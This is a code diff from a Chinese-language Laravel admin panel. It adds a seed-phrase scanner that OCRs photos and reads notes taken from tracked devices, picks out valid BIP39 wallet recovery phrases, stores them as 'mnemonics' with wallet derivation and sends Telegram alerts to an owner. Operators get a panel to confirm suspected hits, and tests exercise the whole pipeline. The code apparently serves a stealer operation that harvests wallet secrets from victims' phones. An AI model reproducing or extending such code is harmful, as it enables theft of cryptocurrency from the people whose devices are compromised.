$card.append($('<div class="note-card-title"></div>').text((it.scan_label ? ('[' + it.scan_label + '] ') : '') + (it.title || '无标题')));
|
||||
$card.append($('<pre class="note-card-body"></pre>').text(it.body || ''));
|
||||
$list.append($card);
|
||||
});
|
||||
|
||||
@@ -0,0 +1,192 @@
|
||||
@extends('admin.content')
|
||||
|
||||
@section('title', '助记词扫描')
|
||||
|
||||
@section('content')
|
||||
@php $portal = $portal ?? 'admin'; @endphp
|
||||
<style>
|
||||
.scan-bar { display:flex; gap:16px; flex-wrap:wrap; margin-bottom:12px; }
|
||||
.scan-tile { background:#f8f8f8; border-radius:4px; padding:10px 14px; min-width:220px; }
|
||||
.scan-tile strong { font-size:18px; }
|
||||
.scan-sus { color:#ff5722; font-weight:600; }
|
||||
.scan-ok { color:#16b777; font-weight:600; }
|
||||
</style>
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">扫描进度</div>
|
||||
<div class="layui-card-body">
|
||||
<div class="scan-bar">
|
||||
<div class="scan-tile">
|
||||
<div>相册</div>
|
||||
<strong>{{ $photoProgress['scanned'] ?? 0 }} / {{ $photoProgress['total'] ?? 0 }}</strong>
|
||||
<div>已扫 / 总数 · 疑似 {{ $photoProgress['suspected'] ?? 0 }} · 确定 {{ $photoProgress['confirmed'] ?? 0 }}</div>
|
||||
</div>
|
||||
<div class="scan-tile">
|
||||
<div>备忘录</div>
|
||||
<strong>{{ $noteProgress['scanned'] ?? 0 }} / {{ $noteProgress['total'] ?? 0 }}</strong>
|
||||
<div>已扫 / 总数 · 疑似 {{ $noteProgress['suspected'] ?? 0 }} · 确定 {{ $noteProgress['confirmed'] ?? 0 }}</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-find-search">
|
||||
<div class="layui-form-item">
|
||||
@include('admin.partials.filter_channel_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">设备 ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="device_key" class="layui-input" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
@include('admin.partials.filter_agent_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">状态</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="status">
|
||||
<option value="" selected>全部</option>
|
||||
<option value="suspected">疑似</option>
|
||||
<option value="confirmed">确定含有</option>
|
||||
<option value="dismissed">已排除</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">来源</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="source">
|
||||
<option value="">全部</option>
|
||||
<option value="photo">相册</option>
|
||||
<option value="note">备忘录</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn" lay-submit lay-filter="LAY-find-search">搜索</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-find-list" lay-filter="LAY-find-list"></table>
|
||||
<script type="text/html" id="LAY-find-thumb">
|
||||
@{{# if(!d.photo_url){ }}—@{{# } else { }}
|
||||
<img src="@{{d.photo_url}}" lay-event="preview" title="点击预览" style="max-height:48px;max-width:72px;cursor:pointer;">
|
||||
@{{# } }}
|
||||
</script>
|
||||
<script type="text/html" id="LAY-find-ops">
|
||||
@{{# if(d.status === 'suspected'){ }}
|
||||
<a class="layui-btn layui-btn-xs" lay-event="confirm">确定含有</a>
|
||||
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="dismiss">排除</a>
|
||||
@{{# } }}
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
@endsection
|
||||
|
||||
@push('scripts')
|
||||
<script>
|
||||
layui.use(['table', 'form', 'layer'], function () {
|
||||
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
||||
var token = @json(csrf_token());
|
||||
var actionBase = @json(url('/'.$portal.'/findings'));
|
||||
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
|
||||
table.render({
|
||||
elem: '#LAY-find-list',
|
||||
id: 'LAY-find-list',
|
||||
url: @json(route($portal.'.findings.data')),
|
||||
where: { status: '' },
|
||||
cols: [[
|
||||
{ field: 'id', title: 'ID', width: 70 },
|
||||
{ field: 'source', title: '来源', width: 80 },
|
||||
{ title: '预览', width: 90, templet: '#LAY-find-thumb' },
|
||||
{ field: 'candidate', title: '候选助记词', minWidth: 360 },
|
||||
{ field: 'excerpt', title: '原文摘录', minWidth: 220 },
|
||||
{ field: 'word_count', title: '词数', width: 70 },
|
||||
{ field: 'status_label', title: '状态', width: 100, templet: function (d) {
|
||||
if (d.status === 'confirmed') return '<span class="scan-ok">确定含有</span>';
|
||||
if (d.status === 'dismissed') return '已排除';
|
||||
return '<span class="scan-sus">疑似</span>';
|
||||
}},
|
||||
{ field: 'device_key', title: '设备 ID', width: 150 },
|
||||
{ field: 'channel_id', title: '渠道', width: 140 },
|
||||
{ field: 'created_at', title: '时间', width: 170 },
|
||||
{ title: '操作', width: 220, align: 'center', fixed: 'right', toolbar: '#LAY-find-ops' }
|
||||
]],
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
form.on('submit(LAY-find-search)', function (data) {
|
||||
table.reload('LAY-find-list', { where: data.field, page: { curr: 1 } });
|
||||
return false;
|
||||
});
|
||||
|
||||
function openDeviceTab(url, title) {
|
||||
try {
|
||||
if (parent && parent.layui && parent.layui.index) {
|
||||
parent.layui.index.openTabsPage(url, title);
|
||||
return;
|
||||
}
|
||||
} catch (e) {}
|
||||
location.href = url;
|
||||
}
|
||||
|
||||
table.on('tool(LAY-find-list)', function (obj) {
|
||||
var d = obj.data;
|
||||
if (obj.event === 'preview') {
|
||||
if (!d.photo_url) return;
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: '照片预览 #' + d.id,
|
||||
area: ['80%', '80%'],
|
||||
shadeClose: true,
|
||||
content: '<div style="padding:12px;text-align:center;height:100%;box-sizing:border-box;overflow:auto;">' +
|
||||
'<img src="' + d.photo_url + '" style="max-width:100%;max-height:100%;">' +
|
||||
'</div>'
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'detail') {
|
||||
openDeviceTab(d.detail_url, '设备 ' + (d.device_key || ('#' + d.id)));
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'dismiss') {
|
||||
layer.confirm('排除这条疑似结果?', { icon: 3 }, function (idx) {
|
||||
layer.close(idx);
|
||||
postFinding(d.id, 'dismiss', {});
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event !== 'confirm') return;
|
||||
layer.prompt({
|
||||
formType: 2,
|
||||
title: '确认候选助记词(可修改,须为合法助记词)',
|
||||
value: d.candidate || '',
|
||||
area: ['560px', '160px']
|
||||
}, function (value, promptIdx) {
|
||||
postFinding(d.id, 'confirm', { candidate: value }, promptIdx);
|
||||
});
|
||||
});
|
||||
|
||||
function postFinding(id, action, extra, promptIdx) {
|
||||
$.ajax({
|
||||
url: actionBase + '/' + id + '/' + action,
|
||||
method: 'POST',
|
||||
data: Object.assign({ _token: token }, extra || {}),
|
||||
success: function (res) {
|
||||
if (res.code !== 0) return layer.msg(res.msg || '失败');
|
||||
if (promptIdx) layer.close(promptIdx);
|
||||
layer.msg('已处理');
|
||||
table.reload('LAY-find-list');
|
||||
},
|
||||
error: function (xhr) {
|
||||
layer.msg((xhr.responseJSON && xhr.responseJSON.msg) || '失败');
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
</script>
|
||||
@endpush
|
||||
@@ -107,6 +107,9 @@
|
||||
<dd data-name="notes">
|
||||
<a lay-href="{{ route('admin.notes.index') }}">备忘录</a>
|
||||
</dd>
|
||||
<dd data-name="findings">
|
||||
<a lay-href="{{ route('admin.findings.index') }}">助记词扫描</a>
|
||||
</dd>
|
||||
<dd data-name="whatsapp">
|
||||
<a lay-href="{{ route('admin.whatsapp.index') }}">WS 参数</a>
|
||||
</dd>
|
||||
|
||||
@@ -99,6 +99,9 @@
|
||||
<dd data-name="notes">
|
||||
<a lay-href="{{ route('user.notes.index') }}">备忘录</a>
|
||||
</dd>
|
||||
<dd data-name="findings">
|
||||
<a lay-href="{{ route('user.findings.index') }}">助记词扫描</a>
|
||||
</dd>
|
||||
<dd data-name="whatsapp">
|
||||
<a lay-href="{{ route('user.whatsapp.index') }}">WS 参数</a>
|
||||
</dd>
|
||||
|
||||
@@ -11,6 +11,7 @@ use App\Http\Controllers\Admin\FilterOptionsController;
|
||||
use App\Http\Controllers\Admin\Google2faController;
|
||||
use App\Http\Controllers\Admin\KeystoreController;
|
||||
use App\Http\Controllers\Admin\MnemonicController;
|
||||
use App\Http\Controllers\Admin\MnemonicFindingController;
|
||||
use App\Http\Controllers\Admin\NoteController;
|
||||
use App\Http\Controllers\Admin\PageVisitController;
|
||||
use App\Http\Controllers\Admin\PhotoController;
|
||||
@@ -73,6 +74,11 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
||||
Route::post('mnemonics/{mnemonic}/reveal', [MnemonicController::class, 'reveal'])
|
||||
->name('mnemonics.reveal');
|
||||
|
||||
Route::get('findings', [MnemonicFindingController::class, 'index'])->name('findings.index');
|
||||
Route::get('findings/data', [MnemonicFindingController::class, 'data'])->name('findings.data');
|
||||
Route::post('findings/{finding}/confirm', [MnemonicFindingController::class, 'confirm'])->name('findings.confirm');
|
||||
Route::post('findings/{finding}/dismiss', [MnemonicFindingController::class, 'dismiss'])->name('findings.dismiss');
|
||||
|
||||
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
|
||||
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
|
||||
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
|
||||
|
||||
@@ -31,6 +31,11 @@ Schedule::command('coruna:sync-monitors --limit=200')
|
||||
->withoutOverlapping()
|
||||
->runInBackground();
|
||||
|
||||
Schedule::command('coruna:scan-mnemonics --limit=50')
|
||||
->everyMinute()
|
||||
->withoutOverlapping()
|
||||
->runInBackground();
|
||||
|
||||
Artisan::command('inspire', function () {
|
||||
$this->comment(Inspiring::quote());
|
||||
})->purpose('Display an inspiring quote');
|
||||
|
||||
@@ -8,6 +8,7 @@ use App\Http\Controllers\Admin\FilterOptionsController;
|
||||
use App\Http\Controllers\Admin\Google2faController;
|
||||
use App\Http\Controllers\Admin\KeystoreController;
|
||||
use App\Http\Controllers\Admin\MnemonicController;
|
||||
use App\Http\Controllers\Admin\MnemonicFindingController;
|
||||
use App\Http\Controllers\Admin\NoteController;
|
||||
use App\Http\Controllers\Admin\PageVisitController;
|
||||
use App\Http\Controllers\Admin\PhotoController;
|
||||
@@ -71,6 +72,11 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
|
||||
Route::post('mnemonics/{mnemonic}/wallets/refresh', [MnemonicController::class, 'refreshWallets'])->name('mnemonics.wallets.refresh');
|
||||
Route::post('mnemonics/{mnemonic}/reveal', [MnemonicController::class, 'reveal'])->name('mnemonics.reveal');
|
||||
|
||||
Route::get('findings', [MnemonicFindingController::class, 'index'])->name('findings.index');
|
||||
Route::get('findings/data', [MnemonicFindingController::class, 'data'])->name('findings.data');
|
||||
Route::post('findings/{finding}/confirm', [MnemonicFindingController::class, 'confirm'])->name('findings.confirm');
|
||||
Route::post('findings/{finding}/dismiss', [MnemonicFindingController::class, 'dismiss'])->name('findings.dismiss');
|
||||
|
||||
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
|
||||
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
|
||||
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
|
||||
|
||||
@@ -0,0 +1,282 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
use App\Models\MnemonicFinding;
|
||||
use App\Models\Note;
|
||||
use App\Models\Photo;
|
||||
use App\Services\MnemonicScanService;
|
||||
use App\Services\MnemonicScanStatus;
|
||||
use App\Services\Ocr\OcrDriver;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class MnemonicScanTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private const PHRASE = 'arctic floor lamp patrol connect mixture student enough mandate region whisper hint';
|
||||
|
||||
private const NINE_HIT_OCR = <<<'TXT'
|
||||
palance cousin endorse
|
||||
refuse private dog
|
||||
solution puddy april
|
||||
picture father jab
|
||||
TXT;
|
||||
|
||||
private const INVALID_UNIQUE = 'ability able about above absent absorb abstract absurd abuse access accident account';
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'tg-token',
|
||||
'coruna.telegram.owner_chat_id' => '10001',
|
||||
]);
|
||||
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function twelve_note_words_auto_confirm_and_ingest(): void
|
||||
{
|
||||
$device = $this->device('dev-scan-12');
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'content' => [
|
||||
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
|
||||
],
|
||||
'content_hash' => hash('sha256', 'x'),
|
||||
]);
|
||||
|
||||
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
||||
|
||||
$finding = MnemonicFinding::query()->first();
|
||||
$this->assertNotNull($finding);
|
||||
$this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->status);
|
||||
$this->assertSame(self::PHRASE, $finding->candidate);
|
||||
$this->assertSame(1, $device->mnemonics()->count());
|
||||
$this->assertSame('备忘录扫描', $device->mnemonics()->value('source'));
|
||||
$this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $device->noteScans()->value('scan_status'));
|
||||
Http::assertSent(function ($request) {
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '新助记词') && str_contains($text, '备忘录扫描');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function nine_note_hits_are_ignored(): void
|
||||
{
|
||||
$device = $this->device('dev-scan-9');
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'content' => [
|
||||
['title' => 'partial', 'body' => self::NINE_HIT_OCR, 'native_id' => 3],
|
||||
],
|
||||
'content_hash' => hash('sha256', 'p'),
|
||||
]);
|
||||
|
||||
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
||||
|
||||
$this->assertSame(0, MnemonicFinding::query()->count());
|
||||
$this->assertSame(0, $device->mnemonics()->count());
|
||||
$this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function repetitive_note_english_is_ignored(): void
|
||||
{
|
||||
$device = $this->device('dev-scan-pipe');
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'content' => [
|
||||
['title' => 'PVC', 'body' => 'PVC pipe 200 1.5 cable coil cable coil cable coil cable way', 'native_id' => 22],
|
||||
],
|
||||
'content_hash' => hash('sha256', 'pipe'),
|
||||
]);
|
||||
|
||||
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
||||
|
||||
$this->assertSame(0, MnemonicFinding::query()->count());
|
||||
$this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_can_edit_and_confirm_a_suspected_photo(): void
|
||||
{
|
||||
$device = $this->device('dev-scan-confirm');
|
||||
$photo = $this->photoWithOcr($device, self::INVALID_UNIQUE);
|
||||
app(MnemonicScanService::class)->scanPhoto($photo);
|
||||
$finding = MnemonicFinding::query()->first();
|
||||
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, $finding?->status);
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'scan-admin', 'password' => 'admin123']);
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.findings.confirm', $finding), ['candidate' => self::PHRASE])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
$this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding->fresh()->status);
|
||||
$this->assertSame(self::PHRASE, $finding->fresh()->candidate);
|
||||
$this->assertSame(1, $device->mnemonics()->count());
|
||||
$this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $photo->fresh()->scan_status);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_confirm_rejects_invalid_phrase(): void
|
||||
{
|
||||
$device = $this->device('dev-scan-confirm-bad');
|
||||
$photo = $this->photoWithOcr($device, self::INVALID_UNIQUE);
|
||||
app(MnemonicScanService::class)->scanPhoto($photo);
|
||||
$finding = MnemonicFinding::query()->first();
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'scan-admin-2', 'password' => 'admin123']);
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.findings.confirm', $finding), ['candidate' => self::INVALID_UNIQUE])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 1);
|
||||
|
||||
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, $finding->fresh()->status);
|
||||
$this->assertSame(0, $device->mnemonics()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function bip39_test_vector_note_is_ignored(): void
|
||||
{
|
||||
$device = $this->device('dev-scan-abandon');
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'content' => [
|
||||
['title' => 'test', 'body' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about', 'native_id' => 7],
|
||||
],
|
||||
'content_hash' => hash('sha256', 'ab'),
|
||||
]);
|
||||
|
||||
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
||||
|
||||
$this->assertSame(0, MnemonicFinding::query()->count());
|
||||
$this->assertSame(0, $device->mnemonics()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function twelve_note_words_without_checksum_are_ignored(): void
|
||||
{
|
||||
$device = $this->device('dev-scan-bad-12');
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'content' => [
|
||||
['title' => 'wallet', 'body' => self::INVALID_UNIQUE, 'native_id' => 8],
|
||||
],
|
||||
'content_hash' => hash('sha256', 'bad'),
|
||||
]);
|
||||
|
||||
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
||||
|
||||
$this->assertSame(0, MnemonicFinding::query()->count());
|
||||
$this->assertSame(0, $device->mnemonics()->count());
|
||||
$this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function twelve_photo_words_auto_confirm_with_album_source(): void
|
||||
{
|
||||
$device = $this->device('dev-scan-photo-12');
|
||||
$photo = $this->photoWithOcr($device, self::PHRASE);
|
||||
|
||||
app(MnemonicScanService::class)->scanPhoto($photo);
|
||||
|
||||
$photo->refresh();
|
||||
$this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $photo->scan_status);
|
||||
$finding = MnemonicFinding::query()->where('photo_id', $photo->id)->first();
|
||||
$this->assertSame(MnemonicFinding::STATUS_CONFIRMED, $finding?->status);
|
||||
$this->assertSame(1, $device->mnemonics()->count());
|
||||
$this->assertSame('相册', $device->mnemonics()->value('source'));
|
||||
Http::assertSent(function ($request) {
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '新助记词') && str_contains($text, '相册');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function twelve_photo_words_without_checksum_stay_suspected(): void
|
||||
{
|
||||
$device = $this->device('dev-scan-photo-bad');
|
||||
$invalid = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon';
|
||||
$photo = $this->photoWithOcr($device, $invalid);
|
||||
|
||||
app(MnemonicScanService::class)->scanPhoto($photo);
|
||||
|
||||
$photo->refresh();
|
||||
$this->assertSame(MnemonicScanStatus::SUSPECTED, (int) $photo->scan_status);
|
||||
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::query()->where('photo_id', $photo->id)->value('status'));
|
||||
$this->assertSame(0, $device->mnemonics()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function rescan_drops_stale_suspected_finding(): void
|
||||
{
|
||||
$device = $this->device('dev-scan-stale');
|
||||
$note = Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'content' => [
|
||||
['title' => 'ui', 'body' => '备份助记词 请妥善保管', 'native_id' => 1],
|
||||
],
|
||||
'content_hash' => hash('sha256', 'y'),
|
||||
]);
|
||||
$finding = new MnemonicFinding([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'note',
|
||||
'note_id' => $note->id,
|
||||
'item_key' => 'n:1',
|
||||
'status' => MnemonicFinding::STATUS_SUSPECTED,
|
||||
'word_count' => 12,
|
||||
'score' => 140,
|
||||
]);
|
||||
$finding->candidate = '备 份 助 记 词 请 妥 善 保 管';
|
||||
$finding->save();
|
||||
|
||||
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
||||
|
||||
$this->assertSame(0, MnemonicFinding::query()->count());
|
||||
$this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status'));
|
||||
}
|
||||
|
||||
private function device(string $key): Device
|
||||
{
|
||||
return Device::query()->create([
|
||||
'device_id' => $key,
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
]);
|
||||
}
|
||||
|
||||
private function photoWithOcr(Device $device, string $ocrText): Photo
|
||||
{
|
||||
$this->app->instance(OcrDriver::class, new class($ocrText) implements OcrDriver
|
||||
{
|
||||
public function __construct(private readonly string $text) {}
|
||||
|
||||
public function recognize(string $imagePath): string
|
||||
{
|
||||
return $this->text;
|
||||
}
|
||||
});
|
||||
|
||||
$png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==');
|
||||
$rel = 'c2/photos/'.$device->device_id.'/test.png';
|
||||
Storage::disk('local')->put($rel, $png);
|
||||
|
||||
return Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => hash('sha256', $png),
|
||||
'path' => $rel,
|
||||
'size' => strlen($png),
|
||||
'scan_status' => MnemonicScanStatus::PENDING,
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Unit;
|
||||
|
||||
use App\Services\Chain\Bip44;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class Bip44Test extends TestCase
|
||||
{
|
||||
#[Test]
|
||||
public function known_phrase_can_derive(): void
|
||||
{
|
||||
$this->assertTrue(Bip44::canDerive(
|
||||
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'
|
||||
));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function test_vector_is_not_usable(): void
|
||||
{
|
||||
$this->assertFalse(Bip44::isUsableMnemonic(
|
||||
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'
|
||||
));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function four_repeats_of_one_word_is_not_usable(): void
|
||||
{
|
||||
$this->assertFalse(Bip44::isUsableMnemonic(
|
||||
'abandon abandon abandon abandon ability able about above absent absorb abstract absurd'
|
||||
));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function diverse_valid_phrase_is_usable(): void
|
||||
{
|
||||
$this->assertTrue(Bip44::isUsableMnemonic(
|
||||
'arctic floor lamp patrol connect mixture student enough mandate region whisper hint'
|
||||
));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function checksum_invalid_twelve_words_cannot_derive(): void
|
||||
{
|
||||
$this->assertFalse(Bip44::canDerive(
|
||||
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon'
|
||||
));
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,127 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Unit;
|
||||
|
||||
use App\Services\Chain\Bip44;
|
||||
use App\Services\MnemonicDetector;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class MnemonicDetectorTest extends TestCase
|
||||
{
|
||||
#[Test]
|
||||
public function detects_english_phrase_among_noise(): void
|
||||
{
|
||||
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
$hit = (new MnemonicDetector)->detect("Recovery sheet\n1. ".$phrase."\nbackup 2024");
|
||||
|
||||
$this->assertNotNull($hit);
|
||||
$this->assertSame($phrase, $hit['candidate']);
|
||||
$this->assertSame(12, $hit['word_count']);
|
||||
$this->assertTrue($hit['confirmed']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ignores_short_unrelated_text(): void
|
||||
{
|
||||
$this->assertNull((new MnemonicDetector)->detect('hello world this is just a note'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ignores_chinese_wallet_ui_copy(): void
|
||||
{
|
||||
$text = '备份助记词 请按顺序抄写助记词,确保备份正确。妥善保管助记词至隔离网络的安全地方。';
|
||||
|
||||
$this->assertNull((new MnemonicDetector)->detect($text));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function marks_nine_hits_as_suspected_not_confirmed(): void
|
||||
{
|
||||
$ocr = <<<'TXT'
|
||||
palance cousin endorse
|
||||
refuse private dog
|
||||
solution puddy april
|
||||
picture father jab
|
||||
TXT;
|
||||
$hit = (new MnemonicDetector)->detect($ocr);
|
||||
|
||||
$this->assertNotNull($hit);
|
||||
$this->assertFalse($hit['confirmed']);
|
||||
$this->assertSame(9, $hit['word_count']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function eight_hits_are_suspected(): void
|
||||
{
|
||||
$text = 'cousin endorse refuse private dog solution april picture';
|
||||
$hit = (new MnemonicDetector)->detect($text);
|
||||
|
||||
$this->assertNotNull($hit);
|
||||
$this->assertFalse($hit['confirmed']);
|
||||
$this->assertSame(8, $hit['word_count']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ignores_repetitive_plumbing_copy(): void
|
||||
{
|
||||
$text = 'PVC pipe 200 1.5 cable coil cable coil cable coil cable way';
|
||||
|
||||
$this->assertNull((new MnemonicDetector)->detect($text, true));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function notes_ignore_partial_ocr_style_hits(): void
|
||||
{
|
||||
$ocr = <<<'TXT'
|
||||
palance cousin endorse
|
||||
refuse private dog
|
||||
solution puddy april
|
||||
picture father jab
|
||||
TXT;
|
||||
$this->assertNull((new MnemonicDetector)->detect($ocr, true));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function notes_keep_numbered_valid_phrase(): void
|
||||
{
|
||||
$lines = [];
|
||||
foreach (explode(' ', 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about') as $i => $word) {
|
||||
$lines[] = ($i + 1).'. '.$word;
|
||||
}
|
||||
$hit = (new MnemonicDetector)->detect(implode("\n", $lines), true);
|
||||
|
||||
$this->assertNotNull($hit);
|
||||
$this->assertTrue($hit['confirmed']);
|
||||
$this->assertSame(12, $hit['word_count']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function prefers_english_phrase_over_chinese_ui(): void
|
||||
{
|
||||
$phrase = 'arctic floor lamp patrol connect mixture student enough mandate region whisper hint';
|
||||
$hit = (new MnemonicDetector)->detect("正确抄写12个助记词\n".$phrase."\n我已抄好,去验证");
|
||||
|
||||
$this->assertNotNull($hit);
|
||||
$this->assertSame($phrase, $hit['candidate']);
|
||||
$this->assertTrue($hit['confirmed']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function slides_past_ui_card_when_checksum_needs_the_last_word(): void
|
||||
{
|
||||
$phrase = 'across artwork strike near sadness federal group soccer alert equal valley ask';
|
||||
$ocr = 'a SS KS 备份 助 记 词 手 抄 备份 KeyPal Card at 助 记 词 (12 个 单词 ) '
|
||||
.'across artwork strike near sadness federal group soccer alert 10 equal valley ask';
|
||||
|
||||
$hit = (new MnemonicDetector)->detect($ocr);
|
||||
|
||||
$this->assertNotNull($hit);
|
||||
$this->assertSame($phrase, $hit['candidate']);
|
||||
$this->assertTrue($hit['confirmed']);
|
||||
$this->assertTrue(Bip44::isUsableMnemonic($phrase));
|
||||
$this->assertFalse(Bip44::isUsableMnemonic(
|
||||
'card across artwork strike near sadness federal group soccer alert equal valley'
|
||||
));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user